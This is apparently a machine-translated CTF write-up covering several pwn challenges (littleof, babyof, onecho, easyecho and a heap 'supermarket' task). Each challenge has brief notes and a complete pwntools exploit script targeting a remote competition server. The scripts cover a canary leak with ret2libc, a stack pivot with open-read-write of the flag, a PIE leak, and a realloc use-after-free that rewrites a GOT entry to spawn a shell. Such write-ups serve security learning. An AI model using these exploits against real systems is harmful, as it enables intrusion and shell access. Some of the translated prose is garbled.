littleof
ret2libc is given for nothing. The first output divulges canary, and the second output divulges the base address of libc. By the way, control the return address, and then return to input, and then get shell (stall)
#!/usr/bin/env python #coding=utf-8 from pwn import* sh = remote("182.116.62.85", 27056) #sh = process('./littleof') elf = ELF('./littleof') libc = ELF('./libc-2.27.so') #libc = elf.libc context.log_level='debug' pop_rdi_ret = 0x0400863 main_addr = 0x0400789 pop_rsi_r15_ret = 0x0400861 payload = 'A'*(0x50-8) sh.recvuntil("?") sh.sendline(payload) sh.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") canary = u64(sh.recv(8).ljust(8,b'\x00')) canary = canary - 0x0a payload = 'a'*(0x50-8) + p64(canary) + 'b'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) sh.recvuntil("!") sh.sendline(payload) leak = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc_base = leak - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.search('/bin/sh\x00').next() payload = 'D'*(0x50-8) sh.recvuntil("?") sh.sendline(payload) sh.recv() payload = 'c'*(0x50-8) + p64(canary) + 'd'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(sys_addr) sh.recvuntil("!") sh.sendline(payload) sh.interactive()
babyof
Pinch hemp drops. Why is the second question similar to the first one and simpler than the first one? ret2libc is still given for nothing, but the first output can directly reveal the libc base address, regardless of canary, and then the second input can be directly completed by getshell
#!/usr/bin/env python #coding=utf-8 from pwn import* sh = remote("182.116.62.85", 27056) #sh = process('./littleof') elf = ELF('./littleof') libc = ELF('./libc-2.27.so') #libc = elf.libc context.log_level='debug' pop_rdi_ret = 0x0400863 main_addr = 0x0400789 pop_rsi_r15_ret = 0x0400861 payload = 'a'*0x40 + 'b'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) sh.recvuntil("?") sh.sendline(payload) leak = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc_base = leak - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.search('/bin/sh\x00').next() payload = 'c'*(0x50-8) + 'd'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(sys_addr) sh.recvuntil("?") sh.sendline(payload) sh.interactive()
onecho
The orw on the stack is a little new. The general idea is to use the overflow control return address of the previous scanf ('% s'). However, due to the existence of this thing (it seems that this thing is no better, but I'm too lazy to delete the previous one) [the external chain picture transfer fails, and the source station may have an anti-theft chain mechanism. It is recommended to save the picture and upload it directly (img-TFkgtfTD-1633790738299)(C:\Users\gouba\AppData\Roaming\Typora\typora-user-images\image-20211008141302616.png)]
As a result, we have to write a writable address at the return address + 4 of ret to cope with memcpy, so I chose a. bss address. After all, I didn't open the pie. At the same time, I also want to migrate the stack
Then, the libc is leaked first, and then the stack is migrated. This is the function of the first payload
The second paragraph payload is to execute orw, that's it~
As for p32(0) written in the first paragraph, I wanted to bypass strlen at first. Later, I didn't know whether it worked or not, and I didn't bother to think about it
#!/usr/bin/env python # coding=utf-8 from pwn import * #sh=process('./onecho') sh=remote('182.116.62.85',24143) elf=ELF('./onecho') libc=ELF('./libc/libc.so.6') #libc=elf.libc context.log_level='debug' add_esp_0x10_leave_ret=0x080492a2 pop_esi_edi_ebp_ret=0x08049811 pop_ebx_ret=0x08049022 leave_ret=0x080492a5 #gdb.attach(sh, 'b *0x080495F7') sh.recvuntil('name:\n') payload='a'*4+p32(0)+'b'*260+p32(0x0804c100)+p32(pop_ebx_ret)+p32(0x0804c100)\ +p32(elf.plt['puts'])+p32(pop_ebx_ret)+p32(elf.got['puts'])+p32(elf.plt['read'])\ +p32(add_esp_0x10_leave_ret)+p32(0)+p32(0x0804c100)+p32(0x1000)+p32(0x1000) sh.sendline(payload) libc_base=u32(sh.recv(4))-libc.sym['puts'] log.success("libc base: "+hex(libc_base)) payload2=p32(0x0804c800)+p32(libc_base+libc.sym['open'])+p32(pop_esi_edi_ebp_ret)+p32(0x0804c140)\ +p32(0)*2+p32(elf.plt['read'])+p32(pop_esi_edi_ebp_ret)+p32(3)+p32(0x0804c400)\ +p32(0x100)+p32(elf.plt['write'])+p32(0)+p32(1)+p32(0x0804c400)+p32(0x100)+'flag' sh.send(payload2) sh.recv() sh.interactive()
easyecho
Input multiple data points in name, so that it can be spliced with the data of the program address stored on the stack. Leak the pie offset in the next% s, and then enter backdoor to make the flag exist in the program. Finally, use gets to input the flag storage address and trigger smashing to print the flag (why did you think of this method is because 👴 I can't think of how to reveal canary)
#!/usr/bin/env python # coding=utf-8 from pwn import * sh=process('./easyecho') #sh=remote('182.116.62.85',24842) elf=ELF('./easyecho') context.log_level='debug' #gdb.attach(sh, 'b *$rebase(0xb18)') sh.recvuntil('Name: ') sh.sendline('sb'*9) sh.recvuntil('sb'*8) leak=u64(sh.recv(6).ljust(8, '\00')) pie_base=leak-0xcf0 log.success('pie base: '+hex(pie_base)) sh.recvuntil('Input: ') sh.sendline('backdoor') flag_addr=pie_base+0x202040 sh.recvuntil('Input: ') payload='exitexit'.ljust(16, '\x00')+p64(flag_addr)*0x100 sh.sendline(payload) sh.interactive()
PWN1
First write the structure of node
Then add is to malloc a node first, then write name, price, description_size, and finally malloc a description, and then write data. There is no problem here
After that, del is set to zero after free. The main problem is that edit_description uses realloc. When realloc applies for a size larger than the original chunk, it will first release the original chunk and then apply for a chunk that meets the new size. At the same time, this problem is only realloc, but it does not do node - > description = realloc () Therefore, the description still points to the small chunk of free, resulting in uaf. At the same time, because got is writable and there is a pointer in struct node, we can consider assigning new node to the chunk of uaf. In this way, when editing the description of old node, we are editing the structure of new node. Finally, rewrite the description pointer to point to the got table, and rewrite the got table to get the shell
(so why not give libc files)
#coding:utf8 from pwn import * from LibcSearcher import * #sh = process('./task_supermarket') sh = remote('182.116.62.85',27518) elf = ELF('./task_supermarket') context.binary = elf #context.log_level = 'debug' atoi_got = elf.got['atoi'] def create(index,size,content): sh.sendlineafter('your choice>>','1') sh.sendlineafter('name:',str(index)) sh.sendlineafter('price:','10') sh.sendlineafter('descrip_size:',str(size)) sh.sendlineafter('description:',content) def delete(index): sh.sendlineafter('your choice>>','2') sh.sendlineafter('name:',str(index)) def show(): sh.sendlineafter('your choice>>','3') def edit(index,size,content='/bin/sh\x00'): sh.sendlineafter('your choice>>','5') sh.sendlineafter('name:',str(index)) sh.sendlineafter('descrip_size:',str(size)) sh.sendlineafter('description:',content) '''old node''' create(0,0x80,'o'*0x10) create(1,0x20,'o'*0x10) edit(0,0x90) '''new node''' create(2,0x20,'d'*0x10) payload = 'n'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got) edit(0,0x80,payload) '''get libc base''' show() sh.recvuntil('2: price.20, des.') atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00')) libc = LibcSearcher('atoi',atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system') edit(2,0x20,p32(system_addr)) '''getshell''' sh.sendlineafter('your choice>>','/bin/sh\x00') sh.interactive()
bb:
pwn good water